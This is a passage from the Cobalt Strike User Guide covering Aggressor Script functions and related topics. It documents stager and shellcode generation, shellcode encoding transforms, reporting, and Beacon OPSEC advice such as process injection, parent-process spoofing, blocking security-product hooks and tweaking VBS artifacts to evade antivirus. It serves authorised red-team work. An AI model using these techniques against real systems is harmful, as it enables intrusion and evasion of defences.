AggressorScript/Functions ssh_commands GetalistofSSHcommands. Returns AnarrayofSSHcommands. Example printAll(ssh_commands()); stager ReturnsthestagerforaspecificCobaltStrikelistener Arguments $1-thelistenername $2-x86|x64-thearchitectureofthestageroutput. Note Beawarethatnotalllistenerconfigurationshavex64stagers.Ifindoubt,usex86. Returns Ascalarcontainingshellcodeforthespecifiedlistener. Example $data = stager("my listener", "x86"); $handle = openf(">out.bin"); writeb($handle, $data); closef($handle); stager_bind_pipe CobaltStrikeUserGuide www.fortra.com page:434

AggressorScript/Functions Returnsabind_pipestagerforaspecificCobaltStrikelistener.Thisstagerissuitableforusein lateralmovementactionsthatbenefitfromasmallnamedpipestager.Stagewith&beacon_ stage_pipe. Arguments $1-thelistenername Returns Ascalarcontainingx86bind_pipeshellcode. Example

step 1. generate our stager

$stager = stager_bind_pipe("my listener");

step 2. do something to run our stager

step 3. stage a payload via this stager

beacon_stage_pipe($bid, $target, "my listener", "x86");

step 4. assume control of the payload (if needed)

beacon_link($bid, $target, "my listener"); Seealso &artifact_general stager_bind_tcp Returnsabind_tcpstagerforaspecificCobaltStrikelistener.Thisstagerissuitableforusein localhost-onlyactionsthatrequireasmallstager.Stagewith&beacon_stage_tcp. Arguments $1-thelistenername $2-x86|x64-thearchitectureofthestageroutput. $3-theporttobindto CobaltStrikeUserGuide www.fortra.com page:435

AggressorScript/Functions Returns Ascalarcontainingbind_tcpshellcode Example

step 1. generate our stager

$stager = stager_bind_tcp("my listener", "x86", 1234);

step 2. do something to run our stager

step 3. stage a payload via this stager

beacon_stage_tcp($bid, $target, 1234, "my listener", "x86");

step 4. assume control of the payload (if needed)

beacon_link($bid, $target, "my listener"); Seealso &artifact_general str_chunk Chunkastringintomultipleparts Arguments $1-thestringtochunk $2-themaximumsizeofeachchunk Returns Theoriginalstringsplitintomultiplechunks Example

hint... :)

else if ($1 eq "template.x86.ps1") { local('$enc'); $enc = str_chunk(base64_encode($2), 61); CobaltStrikeUserGuide www.fortra.com page:436

AggressorScript/Functions return strrep($data, '%%DATA%%', join("' + '", $enc)); } str_decode Convertastringofbytestotextwiththespecifiedencoding. Arguments $1-thestringtodecode $2-theencodingtouse. Returns Thedecodedtext. Example

convert back to a string we can use (from UTF16-LE)

$text = str_decode($string, "UTF16-LE"); str_encode Converttexttobytestringwiththespecifiedcharacterencoding. Arguments $1-thestringtoencode $2-theencodingtouse Returns Theresultingstring. Example

convert to UTF16-LE

$encoded = str_encode("this is some text", "UTF16-LE"); CobaltStrikeUserGuide www.fortra.com page:437

AggressorScript/Functions str_xor WalkastringandXOR itwiththeprovidedkey. Arguments $1-thestringtomask $2-thekeytouse(string) Returns Theoriginalstringmaskedwiththespecifiedkey. Example $mask = str_xor("This is a string", "key"); $plain = str_xor($mask, "key"); sync_download Syncadownloadedfile(View->Downloads)toalocalpath. Arguments $1-theremotepathtothefiletosync.See&downloads $2-wheretosavethefilelocally $3-(optional)acallbackfunctiontoexecutewhendownloadissynced.Thefirstargumentto thisfunctionisthelocalpathofthedownloadedfile. Example

sync all downloads

command ga { local('$download $lpath $name $count'); foreach $count => $download (downloads()) { ($lpath, $name) = values($download, @("lpath", "name")); sync_download($lpath, script_resource("file $+ .$count"), lambda({ println("Downloaded $1 [ $+ $name $+ ]"); CobaltStrikeUserGuide www.fortra.com page:438

AggressorScript/Functions }, $name)); } } targets ReturnsalistofhostinformationinCobaltStrike'sdatamodel. Returns Anarrayofdictionaryobjectswithinformationabouteachhost. Example printAll(targets()); tbrowser GeneratethetargetbrowserGUIcomponent. Returns ThetargetbrowserGUIobject(ajavax.swing.JComponent) Example addVisualization("Target Browser", tbrowser()); Seealso &showVisualization tokenToEmail Covertaphishingtokentoanemailaddress. Arguments $1-thephishingtoken CobaltStrikeUserGuide www.fortra.com page:439

AggressorScript/Functions Returns Theemailaddressor"unknown"ifthetokenisnotassociatedwithanemail. Example set PROFILER_HIT { local('$out $app $ver $email'); $email = tokenToEmail($5); $out = "\c9[+]\o $1 $+ / $+ $2 [ $+ $email $+ ] Applications"; foreach $app => $ver ($4) { $out .= "\n\t $+ $[25]app $ver"; } return "$out $+ \n\n"; } transform Transformshellcodeintoanotherformat. Arguments $1-theshellcodetotransform $2-thetransformtoapply Type Description array commaseparatedbytevalues hex Hex-encodethevalue powershell-base64 PowerShell.exe-friendlybase64encoder vba aVBAarray()withnewlinesaddedin vbs aVBSexpressionthatresultsinastring veil Veil-readystring(\x##\x##) Returns Theshellcodeafterthespecifiedtransformisapplied Example CobaltStrikeUserGuide www.fortra.com page:440

AggressorScript/Functions println(transform("This is a test!", "veil")); transform_vbs TransformshellcodeintoaVBSexpressionthatresultsinastring Arguments $1-theshellcodetotransform $2-themaximumlengthofaplaintextrun Notes l Previously,CobaltStrikewouldembeditsstagersintoVBSfilesasseveralChr()calls concatenatedintoastring. l CobaltStrike3.9introducedfeaturesthatrequiredlargerstagers.Theselargerstagers weretoobigtoembedintoaVBSfilewiththeabovemethod. l TogetpastthisVBSlimitation,CobaltStrikeoptedtouseChr()callsfornon-ASCII dataandrunsofdouble-quotedstringsforprintablecharacters. l Thischange,anengineeringnecessity,unintentionallydefeatedstaticanti-virus signaturesforCobaltStrike'sdefaultVBSartifactsatthattime. l Ifyou'relookingforaneasyevasionbenefitwithVBSartifacts,consideradjustingthe plaintextrunlengthinyourResourceKit. Returns Theshellcodeafterthistransformisapplied Example println(transform_vbs("This is a test!", "3")); tstamp Formatatimeintoadate/timevalue.Thisvaluedoesnotincludeseconds. Arguments $1-thetime[millisecondssincetheUNIXepoch] CobaltStrikeUserGuide www.fortra.com page:441

AggressorScript/Functions Example println("The time is now: " . tstamp(ticks())); Seealso &dstamp unbind Removeakeyboardshortcutbinding. Arguments $1-thekeyboardshortcut Example

restore default behavior of Ctrl+Left and Ctrl+Right

unbind("Ctrl+Left"); unbind("Ctrl+Right"); Seealso &bind url_open OpenaURLinthedefaultbrowser. Arguments $1-theURLtoopen Example CobaltStrikeUserGuide www.fortra.com page:442

AggressorScript/Functions command go { url_open("https://www.cobaltstrike.com/"); } users Returnsalistofusersconnectedtothisteamserver. Returns Anarrayofusers. Example foreach $user (users()) { println($user); } vpn_interface_info GetinformationaboutaVPNinterface. Arguments $1-theinterfacename $2-[Optional]thekeytoextractavaluefor Returns %info = vpn_interface_info("interface"); Returnsadictionarywiththemetadataforthisinterface. $value = vpn_interface_info("interface", "key"); Returnsthevalueforthespecifiedkeyfromthisinterface'smetadata Example CobaltStrikeUserGuide www.fortra.com page:443

AggressorScript/Functions

create a script console alias to interface info

command interface { println("Interface $1"); foreach $key => $value (vpn_interface_info($1)) { println("$[15]key $value"); } } vpn_interfaces ReturnalistofVPNinterfacenames Returns Anarrayofinterfacenames. Example printAll(vpn_interfaces()); vpn_tap_create CreateaCovertVPNinterfaceontheteamserversystem. Arguments $1-theinterfacename(e.g.,phear0) $2-theMACaddress($nullwillmakearandomMACaddress) $3-reserved;use$nullfornow. $4-theporttobindtheVPN'schannelto $5-thetypeofchannel[bind,http,icmp,reverse,udp] Example vpn_tap_create("phear0", $null, $null, 7324, "udp"); vpn_tap_delete CobaltStrikeUserGuide www.fortra.com page:444

AggressorScript/PopupHooks DestroyaCovertVPNinterface Arguments $1-theinterfacename(e.g.,phear0) Example vpn_tap_destroy("phear0"); Popup Hooks ThefollowingpopuphooksareavailableinCobaltStrike: Hook Where Arguments aggressor Cobalt StrikeMenu attacks AttacksMenu beacon [session] $1=selectedbeaconIDs(array) beacon_top [session] $1=selectedbeaconIDs(array) beacon_bottom [session] $1=selectedbeaconIDs(array) credentials CredentialBrowser $1=selectedcredentialrows(arrayof hashes) filebrowser [fileinfilebrowser] $1=beaconID,$2=folder,$3=selected files(array) help HelpMenu listeners Listenerstable $1=selectedlistenernames(array) pgraph [pivotgraph] processbrowser ProcessBrowser $1=BeaconID,$2=selectedprocesses (array) processbrowser_ Multi-SessionProcess $1=selectedprocesses(array) multi Browser reporting ReportingMenu ssh [SSHsession] $1=selectedsessionIDs(array) CobaltStrikeUserGuide www.fortra.com page:445

AggressorScript/Report-OnlyFunctions Hook Where Arguments targets [host] $1=selectedhosts(array) targets_other [host] $1=selectedhosts(array) view ViewMenu Report-Only Functions ThesefunctionsapplytoCobaltStrike'scustomreportcapabilityonly. agApplications Pullinformationfromtheapplicationsmodel. Arguments $1-themodeltopullthisinformationfrom. Returns Anarrayofdictionaryobjectsthatdescribeseachentryintheapplicationsmodel. Example printAll(agApplications($model)); agC2info Pullinformationfromthec2infomodel. Arguments $1-themodeltopullthisinformationfrom. Returns Anarrayofdictionaryobjectsthatdescribeseachentryinthec2infomodel. CobaltStrikeUserGuide www.fortra.com page:446

AggressorScript/Report-OnlyFunctions Example printAll(agC2Info($model)); agCredentials Pullinformationfromthecredentialsmodel Arguments $1-themodeltopullthisinformationfrom. Returns Anarrayofdictionaryobjectsthatdescribeseachentryinthecredentialsmodel. Example printAll(agCredentials($model)); agServices Pullinformationfromtheservicesmodel Arguments $1-themodeltopullthisinformationfrom. Returns Anarrayofdictionaryobjectsthatdescribeseachentryintheservicesmodel. Example printAll(agServices($model)); agSessions Pullinformationfromthesessionsmodel CobaltStrikeUserGuide www.fortra.com page:447

AggressorScript/Report-OnlyFunctions Arguments $1-themodeltopullthisinformationfrom. Returns Anarrayofdictionaryobjectsthatdescribeseachentryinthesessionsmodel. Example printAll(agSessions($model)); agTargets Pullinformationfromthetargetsmodel. Arguments $1-themodeltopullthisinformationfrom. Returns Anarrayofdictionaryobjectsthatdescribeseachentryinthetargetsmodel. Example printAll(agTargets($model)); agTokens Pullinformationfromthephishingtokensmodel. Arguments $1-themodeltopullthisinformationfrom. Returns Anarrayofdictionaryobjectsthatdescribeseachentryinthephishingtokensmodel. CobaltStrikeUserGuide www.fortra.com page:448

AggressorScript/Report-OnlyFunctions Example printAll(agTokens($model)); attack_describe MapsaMITREATT&CKtacticIDtoitslongerdescription. Returns Thefulldescriptionofthetactic Example println(attack_describe("T1134")); attack_detect MapsaMITREATT&CKtacticIDtoitsdetectionstrategy Returns Thedetectionstrategyforthistactic. Example println(attack_detect("T1134")); attack_mitigate MapsaMITREATT&CKtacticIDtoitsmitigationstrategy Returns Themitigationstrategyforthistactic. Example println(attack_mitigate("T1134")); CobaltStrikeUserGuide www.fortra.com page:449

AggressorScript/Report-OnlyFunctions attack_name MapsaMITREATT&CKtacticIDtoitsshortname. Returns Thenameorshortdescriptionofthetactic. Example println(attack_name("T1134")); attack_tactics AnarrayofMITREATT&CKtacticsknowntoCobaltStrike. https://attack.mitre.org Returns AnarrayoftacticIDs(e.g.,T1001,T1002,etc.). Example printAll(attack_tactics()); attack_url MapsaMITREATT&CKtacticIDtotheURLwhereyoucanlearnmore. Returns TheURLassociatedwiththistactic. Example println(attack_url("T1134")); bookmark CobaltStrikeUserGuide www.fortra.com page:450

AggressorScript/Report-OnlyFunctions Defineabookmark[PDFdocumentonly] Arguments $1-Thebookmarktodefine[mustbethesameas&h1or&h2title]. $2-(Optional)Defineachildbookmark[mustbethesameas&h1or&h2title]. Example

build out a document structure

h1("First"); h2("Child #1"); h2("Child #2");

define bookmarks for it

bookmark("First"); bookmark("First", "Child #1"); bookmark("First", "Child #2"); br Printaline-break. Example br(); describe Setadescriptionforareport. Arguments $1-Thereporttosetadefaultdescriptionfor. $2-Thedefaultdescription Example CobaltStrikeUserGuide www.fortra.com page:451

AggressorScript/Report-OnlyFunctions describe("Foo Report", "This report is about my foo"); report "Foo Report" {

yada yada yada...

} h1 Printsatitleheading. Arguments $1-theheadingtoprint. Example h1("I am the title"); h2 Printsasub-titleheading. Arguments $1-thetexttoprint. Example h2("I am the sub-title"); h3 Printsasub-sub-titleheading. Arguments $1-thetexttoprint. Example CobaltStrikeUserGuide www.fortra.com page:452

AggressorScript/Report-OnlyFunctions h3("I am not important."); h4 Printsasub-sub-sub-titleheading. Arguments $1-thetexttoprint. Example h4("I am really not important."); kvtable Printsatablewithkey/valuepairs. Arguments $1-adictionarywithkey/valuepairstoprint. Example

use an ordered-hash to preserve order

$table = ohash(); $table["#1"] = "first"; $table["#2"] = "second"; $table["#3"] = "third"; kvtable($table); landscape Changestheorientationofthisdocumenttolandscape. Example landscape(); CobaltStrikeUserGuide www.fortra.com page:453

AggressorScript/Report-OnlyFunctions layout Printsatablewithnobordersandnocolumnheaders. Arguments $1-anarraywithcolumnnames $2-anarraywithwidthvaluesforeachcolumn $3-anarraywithadictionaryobjectforeachrow.Thedictionaryshouldhavekeysthat correspondtoeachcolumn. Example @cols = @("First", "Second", "Third"); @widths = @("2in", "2in", "auto"); @rows = @( %(First => "a", Second => "b", Third => "c"), %(First => "1", Second => "2", Third => "3")); layout(@cols, @widths, @rows); list_unordered Printsanunorderedlist Arguments $1-anarraywithindividualbulletpoints. Example @list = @("apple", "bat", "cat"); list_unordered(@list); nobreak Groupreportelementstogetherwithoutalinebreak. Arguments CobaltStrikeUserGuide www.fortra.com page:454

AggressorScript/Report-OnlyFunctions $1-thefunctionwithreportelementstogrouptogether. Example

keep this stuff on the same page...

nobreak({ h2("I am the sub-title"); p("I am the initial information"); }) output Printelementsagainstagreybackdrop.Line-breaksarepreserved. Arguments $1-thefunctionwithreportelementstogroupasoutput. Example output({ p("This is line 1 and this is line 2."); }); p Printsaparagraphoftext. Arguments $1-thetexttoprint. Example p("I am some text!"); p_formatted Printsaparagraphoftextwithsomeformatpreservation. CobaltStrikeUserGuide www.fortra.com page:455

AggressorScript/Report-OnlyFunctions Arguments $1-thetexttoprint. TheFormatMarkup 1.Thisfunctionpreservesnewlines 2.Youmayspecifybulletedlists:

  • I am item 1
  • I am item 2
  • etc. 3.Youmayspecifyaheading ===I am a heading=== Example p_formatted("===Hello World===\n\nThis is some text.\nI am on a new line\nAnd, I am:\n* Cool\n* Awesome\n* A bulleted list"); table Printsatable Arguments $1-anarraywithcolumnnames $2-anarraywithwidthvaluesforeachcolumn $3-anarraywithadictionaryobjectforeachrow.Thedictionaryshouldhavekeysthat correspondtoeachcolumn. Example @cols = @("First", "Second", "Third"); @widths = @("2in", "2in", "auto"); @rows = @( CobaltStrikeUserGuide www.fortra.com page:456

AggressorScript/Report-OnlyFunctions %(First => "a", Second => "b", Third => "c"), %(First => "1", Second => "2", Third => "3")); table(@cols, @widths, @rows); ts Printsatime/datestampinitalics. Example ts(); CobaltStrikeUserGuide www.fortra.com page:457

ReportingandLogging/Logging Reporting and Logging Logging CobaltStrikelogsallofitsactivityontheteamserver.Theselogsarelocatedinthelogs/ folder inthesamedirectoryyoustartedyourteamserverfrom.AllBeaconactivityisloggedherewith adateandtimestamp. Reports CobaltStrikehasseveralreportoptionstohelpmakesenseofyourdataandconveyastoryto yourclients.Youmayconfigurethetitle,description,andhostsdisplayedinmostreports. GototheReporting menu andchooseoneofthereportstogenerate.CobaltStrikewillexport yourreportasanMSWordorPDFdocument. figure77-ExportReportDialog Activity Report CobaltStrikeUserGuide www.fortra.com page:458

ReportingandLogging/Reports Theactivityreportprovidesatimelineofredteamactivities.Eachofyourpost-exploitation activitiesaredocumentedhere. figure78-TheActivityReport Hosts Report ThehostsreportsummarizesinformationcollectedbyCobaltStrikeonahost-by-hostbasis. Services,credentials,andsessionsarelistedhereaswell. CobaltStrikeUserGuide www.fortra.com page:459

ReportingandLogging/Reports figure79-TheHostsReport Indicators of Compromise ThisreportresemblesanIndicatorsofCompromiseappendixfromathreatintelligencereport. ContentincludesageneratedanalysisofyourMalleableC2profile,whichdomainyouused,and MD5hashesforfilesyouveuploaded. CobaltStrikeUserGuide www.fortra.com page:460

ReportingandLogging/Reports figure80-IndicatorsofCompromiseReport Sessions Report Thisreportdocumentsindicatorsandactivityonasession-by-sessionbasis.Thisreport includes:thecommunicationpatheachsessionusedtoreachyou,MD5hashesoffilesputon diskduringthatsession,miscellaneousindicators(e.g.,servicenames),andatimelineofpost- exploitationactivity.Thisreportisafantastictooltohelpanetworkdefenseteamunderstandall ofredsactivityandmatchtheirsensorstoyouractivity. CobaltStrikeUserGuide www.fortra.com page:461

ReportingandLogging/Reports figure81-TheSessionsReport Social Engineering Thesocialengineeringreportdocumentseachroundofspearphishingemails,whoclicked,and whatwascollectedfromeachuserthatclicked.Thisreportalsoshowsapplicationsdiscovered bythesystemprofiler. CobaltStrikeUserGuide www.fortra.com page:462

ReportingandLogging/CustomLogoinReports figure82-TheSocialEngineeringReport Tactics, Techniques, and Procedures ThisreportmapsyourCobaltStrikeactionstotacticswithinMITREsATT&CKMatrix.The ATT&CKmatrixdescribeseachtacticwithdetectionandmitigationstrategies.Youmaylearn moreaboutMITREsATT&CKat:https://attack.mitre.org/ Custom Logo in Reports CobaltStrikereportsdisplayaCobaltStrikelogoatthetopofthefirstpage.Youmayreplace thiswithanimageofyourchoosing.GotoCobalt Strike ->Preferences ->Reporting . CobaltStrikeUserGuide www.fortra.com page:463

ReportingandLogging/CustomReports figure83-Preferences Yourcustomimageshouldbe1192x257pxsetto300dpi.The300dpisettingisnecessaryfor thereportingenginetorenderyourimageattherightsize. Youmayalsosetanaccentcolor.Thisaccentcoloristhecolorofthethicklinebelowyour imageonthefirstpageofthereport.Linksinsidereportsusetheaccentcolortoo. figure84-ACustomizedReport Custom Reports CobaltStrikeUserGuide www.fortra.com page:464

ReportingandLogging/CustomReports CobaltStrikeusesadomainspecificlanguagetodefineitsreports.Youmayloadyourown reportsthroughtheReport Preferencesdialog.Tolearnmoreaboutthisfeature,consultthe CustomReportschapteroftheAggressorScriptdocumentation. CobaltStrikeUserGuide www.fortra.com page:465

Appendix/ KeyboardShortcuts Appendix Keyboard Shortcuts Thefollowingkeyboardshortcutsareavailable. Shortcut Where Action Ctrl+A console selectalltext Ctrl+F console openfindtooltosearchtheconsole Ctrl+K console cleartheconsole Ctrl+Minus console decreasefontsize Ctrl+Plus console increasefontsize Ctrl+0 console resetfontsize Down console shownextcommandincommandhistory Escape console cleareditbox PageDown console scrolldownhalfascreen PageUp console scrolluphalfascreen Tab console completethecurrentcommand(insomeconsoletypes) Up console showpreviouscommandincommandhistory Ctrl+B everywhere sendcurrenttabtothebottomoftheCobaltStrikewindow Ctrl+D everywhere closecurrenttab Ctrl+Shift+D everywhere closealltabsexceptthecurrenttab Ctrl+E everywhere emptythebottomoftheCobaltStrikewindow(undoCtrl+B) Ctrl+I everywhere chooseasessiontointeractwith Ctrl+Left everywhere switchtoprevioustab Ctrl+O everywhere openpreferences Ctrl+R everywhere Renamethecurrenttab Ctrl+Right everywhere switchtonexttab Ctrl+T everywhere takescreenshotofcurrenttab(resultissenttoteamserver) Ctrl+Shift+T everywhere takescreenshotofCobaltStrike(resultissenttoteam server) CobaltStrikeUserGuide www.fortra.com page:466

Appendix/BeaconCommandBehaviorandOPSECConsiderations Shortcut Where Action Ctrl+W everywhere opencurrenttabinitsownwindow Ctrl+C graph arrangesessionsinacircle Ctrl+H graph arrangesessionsinahierarchy Ctrl+Minus graph zoomout Ctrl+P graph saveapictureofthegraphdisplay Ctrl+Plus graph zoomin Ctrl+S graph arrangesessionsinastack Ctrl+0 graph resettodefaultzoom-level Ctrl+F tables openfindtooltofiltertablecontent Ctrl+A targets selectallhosts Escape targets clearselectedhosts TIP: ThefulllistofDefaultKeyboardShortcutsareavailablefromthemenu(Help -> Default Keyboard Shortcuts). Beacon Command Behavior and OPSEC Considerations Agoodoperatorknowstheirtoolsandhasanideaofhowthetoolisaccomplishingits objectivesontheirbehalf.ThisdocumentsurveysBeacon'scommandsandprovides backgroundonwhichcommandsinjectintoremoteprocesses,whichcommandsspawnjobs, andwhichcommandsrelyoncmd.exeorpowershell.exe. API-only ThefollowingcommandsarebuiltintoBeaconandrelyonWin32APIstomeettheirobjectives: cd cp connect download drives exit getprivs getuid inline-execute CobaltStrikeUserGuide www.fortra.com page:467

Appendix/BeaconCommandBehaviorandOPSECConsiderations jobkill kill link ls make_token mkdir mv ps pwd rev2self rm rportfwd rportfwd_local setenv socks steal_token unlink upload House-keeping Commands ThefollowingcommandsarebuiltintoBeaconandexisttoconfigureBeaconorperformhouse- keepingactions.Someofthesecommands(e.g.,clear,downloads,help,mode,note)donot generateataskforBeacontoexecute. argue blockdlls cancel checkin clear downloads help jobs modedns modedns-txt modedns6 note powershell-import ppid sleep socksstop spawnto Inline Execute (BOF) CobaltStrikeUserGuide www.fortra.com page:468

Appendix/BeaconCommandBehaviorandOPSECConsiderations ThefollowingcommandsareimplementedasinternalBeaconObjectFiles.ABeaconObject FileisacompiledCprogram,writtentoacertainconvention,thatexecuteswithinaBeacon session.Thecapabilityiscleanedupafteritfinishesrunning. dllload elevatesvc-exe elevateuac-token-duplication getsystem jumppsexec jumppsexec64 jumppsexec_psh kerberos_ccache_use kerberos_ticket_purge kerberos_ticket_use netdomain regquery regqueryv remote-execpsexec remote-execwmi runasadminuac-cmstplua runasadminuac-token-duplication timestomp ThenetworkinterfaceresolutionwithinboththeportscanandcovertvpndialogsusesaBeacon ObjectFileaswell. OPSECAdvice ThememoryforBeaconObjectFilesiscontrolledwithsettingsfromtheMalleableC2s process-injectblock. Post-Exploitation Jobs (Fork&Run) ManyBeaconpost-exploitationfeaturesspawnaprocessandinjectacapabilityintothat process.Somepeoplecallthispatternfork&run.Beacondoesthisforanumberofreasons:(i) thisprotectstheagentifthecapabilitycrashes.(ii)historically,thisschememakesitseamless foranx86Beacontolaunchx64post-exploitationtasks.ThiswascriticalasBeacondidn'thave anx64builduntil2016.(iii)Somefeaturescantargetaspecificremoteprocess.Thisallowsthe post-exactiontooccurwithindifferentcontextswithouttheneedtomigrateorspawna payloadinthatothercontext.And(iv)thisdesigndecisionkeepsalotofclutter(threads, suspiciouscontent)generatedbyyourpost-exactionoutofyourBeaconprocessspace.Here arethefeaturesthatusethispattern: Fork&RunOnly CobaltStrikeUserGuide www.fortra.com page:469

Appendix/BeaconCommandBehaviorandOPSECConsiderations covertvpn execute-assembly powerpick TargetExplicitProcessOnly browserpivot psinject Fork&RunorTargetExplicitProcess chromedump dcsync desktop hashdump keylogger logonpasswords mimikatz net* portscan printscreen pth screenshot screenwatch ssh ssh-key OPSECAdvice UsethespawntocommandtochangetheprocessBeaconwilllaunchforitspost-exploitation jobs.Thedefaultisrundll32.exe(youprobablydontwantthat).Theppidcommandwillchange theparentprocessthesejobsarerununderaswell.Theblockdllscommandwillstopuserland hookingforsomesecurityproducts.MalleableC2'sprocess-injectblockgivesalotofcontrol overtheprocessinjectionprocess.MalleableC2'spost-exblockhasseveralOPSECoptionsfor thesepost-exDLLsthemselves.Forfeaturesthathaveanexplicitinjectionoption,consider injectingintoyourcurrentBeaconprocess.CobaltStrikedetectsandactsonself-injection differentfromremoteinjection. Explicitinjectionwillnotcleanupanymemoryafterthepost-exploitationjobhascompleted.The recommendationistoinjectintoaprocessthatcanbesafelyterminatedbyyoutocleanupin- memoryartifacts. Process Execution CobaltStrikeUserGuide www.fortra.com page:470

Appendix/BeaconCommandBehaviorandOPSECConsiderations Thesecommandsspawnanewprocess: execute run runas runu OPSECAdvice Theppidcommandwillchangetheparentprocessofcommandsrunbyexecute.Theppid commanddoesnotaffectrunasorrunu. Process Execution (cmd.exe) Theshellcommanddependsoncmd.exe.Useruntorunacommandandgetoutputwithout cmd.exe Thepthcommandreliesoncmd.exetopassatokentoBeaconviaanamedpipe.The commandpatterntopassthistokenisanindicatorsomehost-basedsecurityproductslookfor. ReadHowtoPass-the-HashwithMimikatzforinstructionsonhowtodothismanually. Process Execution (powershell.exe) Thefollowingcommandslaunchpowershell.exetoperformsometaskonyourbehalf. jump winrm jumpwinrm64 powershell remote-execwinrm OPSECAdvice Usetheppidcommandtochangetheparentprocesspowershell.exeisrununder.Usethe POWERSHELL_COMMANDAggressorScripthooktochangetheformatofthePowerShell commandanditsarguments.Thejump winrm,jump winrm64,andpowershell[whenascript isimported]commandsdealwithPowerShellcontentthatistoolargetofitinasingle command-line.Togetaroundthis,thesefeatureshostascriptonaself-containedwebserver withinyourBeaconsession.UsethePOWERSHELL_DOWNLOAD_CRADLEAggressorScript hooktoshapethedownloadcradleusedtodownloadthesescripts. Process Injection (Remote) CobaltStrikeUserGuide www.fortra.com page:471

Appendix/BeaconCommandBehaviorandOPSECConsiderations Thepost-exploitationjobcommands(previouslymentioned)relyonprocessinjectiontoo.The othercommandsthatinjectintoaremoteprocessare: dllinject dllload inject shinject OPSECAdvice MalleableC2'sprocess-injectblockblockgivesalotofcontrolovertheprocessinjection process.Whenbeaconexitsaninjectedprocessitwillnotcleanitselffrommemoryandwillno longerbemaskedwhenthestage.sleep_maskissettotrue.Withthe4.5releasemostofthe heapmemorywillbeclearedandreleased.Recommendationistonotexitbeaconifyoudonot wanttoleavememoryartifactsunmaskedduringyourengagement.Whenyourengagementis doneitisrecommendedtorebootallofthetargetedsystemstoremoveanylingeringin- memoryartifacts. Process Injection (Spawn&Inject) Thesecommandsspawnatemporaryprocessandinjectapayloadorshellcodeintoit: elevateuac-token-duplication shspawn spawn spawnas spawnu spunnel spunnel_local OPSECAdvice Usethespawntocommandtosetthetemporaryprocesstouse.Theppidcommandsetsa parentprocessformostofthesecommands.Theblockdllscommandwillblockuserland hooksfromsomesecurityproducts.MalleableC2'sprocess-injectblockgivesalotofcontrol overtheprocessinjectionprocess.MalleableC2'spost-exblockprovidesoptionstoadjust Beacon'sin-memoryevasionoptions. Service Creation ThefollowinginternalBeaconcommandscreateaservice(eitheronthecurrenthostora remotetarget)torunacommand.ThesecommandsuseWin32APIstocreateandmanipulate services. CobaltStrikeUserGuide www.fortra.com page:472

Appendix/UnicodeSupport elevatesvc-exe jumppsexec jumppsexec64 jumppsexec_psh remote-execpsexec OPSECAdvice Thesecommandsuseaservicenamethatconsistsofrandomlettersandnumbersbydefault. TheAggressorScriptPSEXEC_SERVICEhookallowsyoutochangethisbehavior.Eachofthese commands(exceptingjumppsexec_pshandremote-execpsexec)generateaserviceEXEand uploadittothetarget.CobaltStrike'sbuilt-inserviceEXEspawnsrundll32.exe[withno arguments],injectsapayloadintoit,andexits.Thisisdonetoallowimmediatecleanupofthe executable.UsetheArtifactKittochangethecontentandbehaviorsofthegeneratedEXE. Unicode Support Unicodeisamapofcharactersintheworld'slanguagestoafixednumberorcode-point.This documentcoversCobaltStrike'ssupportforUnicodetext. Encodings Unicodeisamapofcharacterstonumbers(code-points),butitisnotanencoding.Anencoding isaconsistentwaytoassignmeaningtoindividualorbytesequencesbymappingthemto code-pointswithinthismap. Internally,Javaapplications,storeandmanipulatecharacterswiththeUTF-16encoding.UTF- 16isanencodingthatusestwobytestorepresentcommoncharacters.Rarercharactersare representedwithfourbytes.CobaltStrikeisaJavaapplicationandinternally,CobaltStrikeis capableofstorage,manipulation,anddisplayoftextintheworld'svariouswritingsystems. There'snorealtechnicalbarriertothisinthecoreJavaplatform. IntheWindowsworld,thingsarealittledifferent.TheoptionsinWindowstorepresent charactersdateallthewaybacktotheDOSdays.DOSprogramsworkwithASCIItextandthose beautifulboxdrawingcharacters.Acommonencodingtomapnumbers0-127toUSASCIIand 128-255tothosebeautifulboxdrawingcharactershasaname.It'scodepage437.Thereare severalvariationsofcodepage437thatmixthebeautifulboxdrawingcharacterswith charactersfromspecificlanguages.ThiscollectionofencodingsisknownasanOEMencoding. Today,eachWindowsinstancehasaglobalOEMencodingsetting.Thissettingdictateshowto interprettheoutputofbyteswrittentoaconsolebyaprogram.Tointerprettheoutputof cmd.exeproperly,it'simportanttoknowthetarget'sOEMencoding. CobaltStrikeUserGuide www.fortra.com page:473

Appendix/UnicodeSupport Thefuncontinuesthough.TheboxdrawingcharactersareneededbyDOSprograms,butnot necessarilyWindowsprograms.So,withthat,WindowshastheconceptofanANSIencoding. It'saglobalsetting,liketheOEMencoding.TheANSIencodingdictateshowANSIWin32APIs willmapasequenceofbytestocode-points.TheANSIencodingforalanguageforgoesthe beautifulboxdrawingcharactersforcharactersusefulinthelanguagethatencodingis designedfor.Anencodingisnotnecessarilyconfinedtomappingonebytetoonecharacter.A variable-lengthencodingmayrepresentthemostcommoncharactersasasinglebyteandthen representothersassomemulti-bytesequence. ANSIencodingsarenotthefullstorythough.TheWindowsAPIsoftenhavebothANSIand Unicodevariants.AnANSIvariantofanAPIacceptsandinterpretsatextargumentasdescribed above.AUnicodeWin32APIexpectstextargumentsthatareencodedwithUTF-16. InWindows,therearemultipleencodingsituationspossible.There'sOEMencodingwhichcan representsometextinthetarget'sconfiguredlanguage.There'sANSIencodingwhichcan representmoretext,primarilyinthetarget'sconfiguredlanguage.And,there'sUTF-16which cancontainanycode-point.There'salsoUTF-8whichisavariable-lengthencodingthat'sspace efficientforASCIItext,butcancontainanycode-pointtoo. Beacon CobaltStrike'sBeaconreportsthetarget'sANSIandOEMencodingsaspartofitssession metadata.CobaltStrikeusesthesevaluestoencodetextinput,asneeded,tothetarget's encoding.CobaltStrikealsousesthesevaluestodecodetextoutput,asneeded,withthe target'sencoding. CobaltStrikeUserGuide www.fortra.com page:474

